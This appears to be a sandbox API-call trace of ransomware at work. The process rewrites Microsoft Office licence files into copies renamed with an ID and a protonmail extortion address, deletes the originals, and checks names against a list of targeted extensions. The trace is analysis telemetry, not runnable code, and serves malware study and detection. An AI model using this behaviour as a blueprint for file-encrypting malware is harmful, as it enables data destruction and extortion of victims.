	[0199.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0199.794] GetLastError () returned 0x0
	[0199.794] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x57c1, lpOverlapped=0x0) returned 1
	[0199.929] WriteFile (in: hFile=0x5e8, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x57d0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x57d0, lpOverlapped=0x0) returned 1
	[0199.930] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0199.930] WriteFile (in: hFile=0x5e8, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x114, lpOverlapped=0x0) returned 1
	[0199.930] SetEndOfFile (hFile=0x5e8) returned 1
	[0199.931] CloseHandle (hObject=0x5e8) returned 1
	[0199.931] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.931] SetEndOfFile (hFile=0x5d8) returned 1
	[0199.935] CloseHandle (hObject=0x5d8) returned 1
	[0199.935] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0199.935] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ppd.xrm-ms")) returned 1
	[0199.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82
	[0199.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82
	[0199.936] lstrlenW (lpString=".doc") returned 4
	[0199.936] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0199.936] lstrlenW (lpString=".docx") returned 5
	[0199.936] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0199.936] lstrlenW (lpString=".pdf") returned 4
	[0199.936] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0199.936] lstrlenW (lpString=".xls") returned 4
	[0199.936] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0199.936] lstrlenW (lpString=".xlsx") returned 5
	[0199.936] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0199.936] lstrlenW (lpString=".ppt") returned 4
	[0199.936] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0199.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82
	[0199.936] lstrlenW (lpString=".zip") returned 4
	[0199.936] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0199.936] lstrlenW (lpString=".rar") returned 4
	[0199.936] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0199.936] lstrlenW (lpString=".bz2") returned 4
	[0199.936] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0199.936] lstrlenW (lpString=".7z") returned 3
	[0199.936] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0199.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82
	[0199.937] lstrlenW (lpString=".dbf") returned 4
	[0199.937] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0199.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82
	[0199.937] lstrlenW (lpString=".1cd") returned 4
	[0199.937] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0199.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82
	[0199.937] lstrlenW (lpString=".jpg") returned 4
	[0199.937] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0199.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82
	[0199.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82
	[0199.937] lstrlenW (lpString=".doc") returned 4
	[0199.937] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0199.937] lstrlenW (lpString=".docx") returned 5
	[0199.937] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0199.937] lstrlenW (lpString=".pdf") returned 4
	[0199.937] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0199.937] lstrlenW (lpString=".xls") returned 4
	[0199.937] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0199.937] lstrlenW (lpString=".xlsx") returned 5
	[0199.937] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0199.937] lstrlenW (lpString=".ppt") returned 4
	[0199.937] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0199.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82
	[0199.937] lstrlenW (lpString=".zip") returned 4
	[0199.937] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0199.937] lstrlenW (lpString=".rar") returned 4
	[0199.937] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0199.937] lstrlenW (lpString=".bz2") returned 4
	[0199.938] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0199.938] lstrlenW (lpString=".7z") returned 3
	[0199.938] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0199.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82
	[0199.938] lstrlenW (lpString=".dbf") returned 4
	[0199.938] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0199.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82
	[0199.938] lstrlenW (lpString=".1cd") returned 4
	[0199.938] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0199.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82
	[0199.938] lstrlenW (lpString=".jpg") returned 4
	[0199.938] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0199.938] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0199.938] lstrlenW (lpString="O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 42
	[0199.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0199.939] GetFileSizeEx (in: hFile=0x5d8, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=11219) returned 1
	[0199.939] CloseHandle (hObject=0x5d8) returned 1
	[0199.939] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-pl.xrm-ms")) returned 0x220
	[0199.939] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0199.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0199.939] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.939] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0199.940] GetLastError () returned 0x0
	[0199.940] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x2bd3, lpOverlapped=0x0) returned 1
	[0199.943] WriteFile (in: hFile=0x5e8, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x2be0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x2be0, lpOverlapped=0x0) returned 1
	[0199.944] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0199.944] WriteFile (in: hFile=0x5e8, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x128, lpOverlapped=0x0) returned 1
	[0199.944] SetEndOfFile (hFile=0x5e8) returned 1
	[0199.944] CloseHandle (hObject=0x5e8) returned 1
	[0199.944] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.944] SetEndOfFile (hFile=0x5d8) returned 1
	[0199.947] CloseHandle (hObject=0x5d8) returned 1
	[0199.947] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0199.948] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-pl.xrm-ms")) returned 1
	[0199.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0199.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0199.948] lstrlenW (lpString=".doc") returned 4
	[0199.949] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0199.949] lstrlenW (lpString=".docx") returned 5
	[0199.949] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0199.949] lstrlenW (lpString=".pdf") returned 4
	[0199.949] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0199.949] lstrlenW (lpString=".xls") returned 4
	[0199.949] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0199.949] lstrlenW (lpString=".xlsx") returned 5
	[0199.949] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0199.949] lstrlenW (lpString=".ppt") returned 4
	[0199.949] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0199.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0199.949] lstrlenW (lpString=".zip") returned 4
	[0199.949] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0199.949] lstrlenW (lpString=".rar") returned 4
	[0199.949] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0199.949] lstrlenW (lpString=".bz2") returned 4
	[0199.949] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0199.949] lstrlenW (lpString=".7z") returned 3
	[0199.949] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0199.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0199.949] lstrlenW (lpString=".dbf") returned 4
	[0199.949] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0199.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0199.949] lstrlenW (lpString=".1cd") returned 4
	[0199.949] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0199.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0199.949] lstrlenW (lpString=".jpg") returned 4
	[0199.949] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0199.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0199.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0199.950] lstrlenW (lpString=".doc") returned 4
	[0199.950] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0199.950] lstrlenW (lpString=".docx") returned 5
	[0199.950] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0199.950] lstrlenW (lpString=".pdf") returned 4
	[0199.950] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0199.950] lstrlenW (lpString=".xls") returned 4
	[0199.950] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0199.950] lstrlenW (lpString=".xlsx") returned 5
	[0199.950] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0199.950] lstrlenW (lpString=".ppt") returned 4
	[0199.950] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0199.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0199.950] lstrlenW (lpString=".zip") returned 4
	[0199.950] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0199.950] lstrlenW (lpString=".rar") returned 4
	[0199.950] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0199.950] lstrlenW (lpString=".bz2") returned 4
	[0199.950] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0199.950] lstrlenW (lpString=".7z") returned 3
	[0199.950] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0199.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0199.950] lstrlenW (lpString=".dbf") returned 4
	[0199.950] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0199.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0199.950] lstrlenW (lpString=".1cd") returned 4
	[0199.950] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0199.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0199.951] lstrlenW (lpString=".jpg") returned 4
	[0199.951] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0199.951] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0199.951] lstrlenW (lpString="O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 43
	[0199.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0199.951] GetFileSizeEx (in: hFile=0x5d8, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=23207) returned 1
	[0199.952] CloseHandle (hObject=0x5d8) returned 1
	[0199.952] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ppd.xrm-ms")) returned 0x220
	[0199.952] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0199.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0199.952] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.952] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0199.953] GetLastError () returned 0x0
	[0199.953] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x5aa7, lpOverlapped=0x0) returned 1
	[0199.955] WriteFile (in: hFile=0x5e8, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x5ab0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x5ab0, lpOverlapped=0x0) returned 1
	[0199.957] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0199.957] WriteFile (in: hFile=0x5e8, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x12a, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x12a, lpOverlapped=0x0) returned 1
	[0199.957] SetEndOfFile (hFile=0x5e8) returned 1
	[0199.957] CloseHandle (hObject=0x5e8) returned 1
	[0199.957] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.957] SetEndOfFile (hFile=0x5d8) returned 1
	[0200.020] CloseHandle (hObject=0x5d8) returned 1
	[0200.020] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0200.020] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ppd.xrm-ms")) returned 1
	[0200.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0200.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0200.022] lstrlenW (lpString=".doc") returned 4
	[0200.022] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0200.022] lstrlenW (lpString=".docx") returned 5
	[0200.022] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0200.022] lstrlenW (lpString=".pdf") returned 4
	[0200.022] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0200.022] lstrlenW (lpString=".xls") returned 4
	[0200.022] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0200.022] lstrlenW (lpString=".xlsx") returned 5
	[0200.022] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0200.022] lstrlenW (lpString=".ppt") returned 4
	[0200.022] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0200.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0200.022] lstrlenW (lpString=".zip") returned 4
	[0200.022] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0200.022] lstrlenW (lpString=".rar") returned 4
	[0200.022] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0200.022] lstrlenW (lpString=".bz2") returned 4
	[0200.022] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0200.022] lstrlenW (lpString=".7z") returned 3
	[0200.022] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0200.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0200.022] lstrlenW (lpString=".dbf") returned 4
	[0200.022] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0200.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0200.022] lstrlenW (lpString=".1cd") returned 4
	[0200.022] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0200.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0200.022] lstrlenW (lpString=".jpg") returned 4
	[0200.023] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0200.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0200.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0200.023] lstrlenW (lpString=".doc") returned 4
	[0200.023] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0200.023] lstrlenW (lpString=".docx") returned 5
	[0200.023] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0200.023] lstrlenW (lpString=".pdf") returned 4
	[0200.023] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0200.023] lstrlenW (lpString=".xls") returned 4
	[0200.023] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0200.023] lstrlenW (lpString=".xlsx") returned 5
	[0200.023] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0200.023] lstrlenW (lpString=".ppt") returned 4
	[0200.023] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0200.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0200.023] lstrlenW (lpString=".zip") returned 4
	[0200.023] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0200.023] lstrlenW (lpString=".rar") returned 4
	[0200.023] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0200.023] lstrlenW (lpString=".bz2") returned 4
	[0200.023] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0200.023] lstrlenW (lpString=".7z") returned 3
	[0200.023] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0200.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0200.023] lstrlenW (lpString=".dbf") returned 4
	[0200.023] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0200.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0200.023] lstrlenW (lpString=".1cd") returned 4
	[0200.024] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0200.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0200.024] lstrlenW (lpString=".jpg") returned 4
	[0200.024] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0200.024] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0200.024] lstrlenW (lpString="O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 46
